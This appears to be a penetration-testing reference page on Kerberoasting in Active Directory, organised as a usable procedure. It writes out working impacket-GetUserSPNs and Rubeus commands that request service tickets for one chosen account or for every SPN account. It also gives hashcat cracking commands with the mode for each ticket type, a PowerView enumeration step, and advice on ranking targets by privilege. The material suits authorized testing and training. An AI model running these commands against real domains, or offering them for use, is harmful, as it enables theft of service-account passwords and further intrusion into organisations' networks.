Request a selected service ticket for offline service-account recovery

Needs: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Why Kerberoasting works

Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.

# Why Kerberoasting works
VALID DOMAIN IDENTITY + SPN ACCOUNT + KDC ROUTE
-> TGS-REP CIPHER
-> OFFLINE GUESSING
-> SERVICE-ACCOUNT PASSWORD IF A CANDIDATE VERIFIES

Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.

Enumerate without requesting tickets

# Enumerate without requesting tickets
impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER'

Enumerate without requesting tickets

REM Enumerate without requesting tickets
Rubeus.exe kerberoast /stats /domain:DOMAIN /dc:DC_HOST

Request one selected user

# Request one selected user
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile kerberoast-TARGET_USER.hashes 'DOMAIN/USER'

Request one selected user

REM Request one selected user
Rubeus.exe kerberoast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

Request all mapped candidates

# Request all mapped candidates
impacket-GetUserSPNs -request -dc-ip DC_IP \
  -outputfile kerberoast.hashes 'DOMAIN/USER'

Request all mapped candidates

REM Request all mapped candidates
Rubeus.exe kerberoast /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

Use broad requests only when scope and the candidate inventory justify them. Prefer one ranked account during verification.

Hash type and cracking

# Hash type and cracking
hashcat -m 13100 kerberoast.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19600 kerberoast-aes128.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast-aes256.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE HASH_FILE --show

Verify → Record SPN/account/encryption type and verify any recovered password against the intended identity.

If it fails → No crack means only the tried candidates failed; a ticket request does not prove a weak password or host access. More detail ↓

If → then

A supported stored verifier or converted protected artifact → Recover passwords with feasible dictionary, rule and mask attacks
Needs: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend
A password tied to a plausible user and service → Validate known passwords and context-specific reuse
Needs: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Group-to-host access edges or a privileged user's possible session → Validate host access and volatile session candidates
Needs: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Request a selected service ticket for offline service-account recovery

USE WHEN: A user-owned SPN and a useful service-account relationship
STARTING ACCESS: A domain identity, appropriate host privilege, or a validated effective directory-object right
RESULT: A selected TGS recovery artifact and possibly a recovered service-account password

Recognize the clue

Use a directory client's user-owned SPN inventory and inspect the associated account's memberships/utility before requesting a selected ticket.

Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof

SYNTHETIC EXAMPLE OUTPUT

samaccountname: SERVICE_USER
serviceprincipalname: HTTP/TARGET_HOST
object type: user

Means: A user-owned SPN supplies the account key targeted by a service ticket and a reason to assess password-recovery feasibility.

Confirm: Verify valid KDC context, selected account/SPN, returned encryption type, password model and useful resulting rights.

After validation: The selected ticket artifact is supported and recovery is justified: choose the matching offline mode.
Ruled out in this context: The candidate has no SPN and no SPN-write right: reject ordinary/targeted roasting for this account.
Still inconclusive: SPN presence alone leaves weak password and eventual host access unproved.

Troubleshooting: No crack means only the tried candidates failed; a ticket request does not prove a weak password or host access.

Additional prerequisite checks

impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'

Why Kerberoasting works

Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.

Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.

Enumerate without requesting tickets

Request one selected user

Request all mapped candidates

Use broad requests only when scope and the candidate inventory justify them. Prefer one ranked account during verification.

Hash type and cracking

Prefix	Kerberos etype	Hashcat mode
`$krb5tgs$23$`	RC4-HMAC	13100
`$krb5tgs$17$`	AES128	19600
`$krb5tgs$18$`	AES256	19700

Select the mode from the actual prefix and current hashcat --example-hashes; do not assume every TGS is RC4. AES material is still an offline verifier but generally costs more per guess. Cracking feasibility is governed mainly by password strength and candidates, not merely ticket acquisition.

Common failures

no SPNs returned: wrong domain/base/authentication context, filtering or no user SPNs;
KDC_ERR_S_PRINCIPAL_UNKNOWN: SPN is absent/malformed or queried in the wrong realm;
KDC_ERR_ETYPE_NOSUPP: requested cipher conflicts with account/domain policy;
output wraps or fails to load: save directly to an output file and verify prefix/line integrity;
crack exhausts candidates: password not represented by the tested model; the account is not therefore “secure.”

Why it works

The service ticket is encrypted with the service account's long-term key. Request permission does not equal service administration, and strong machine/account keys can make recovery infeasible.

Worked example · hypothetical

Observation: a service account owns a relevant SPN. Test: enumerate first and request only that selected account's ticket. Illustrative output: a supported encryption-type artifact is obtained. Interpretation: apply its matching recovery mode and evaluate the account's actual rights.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗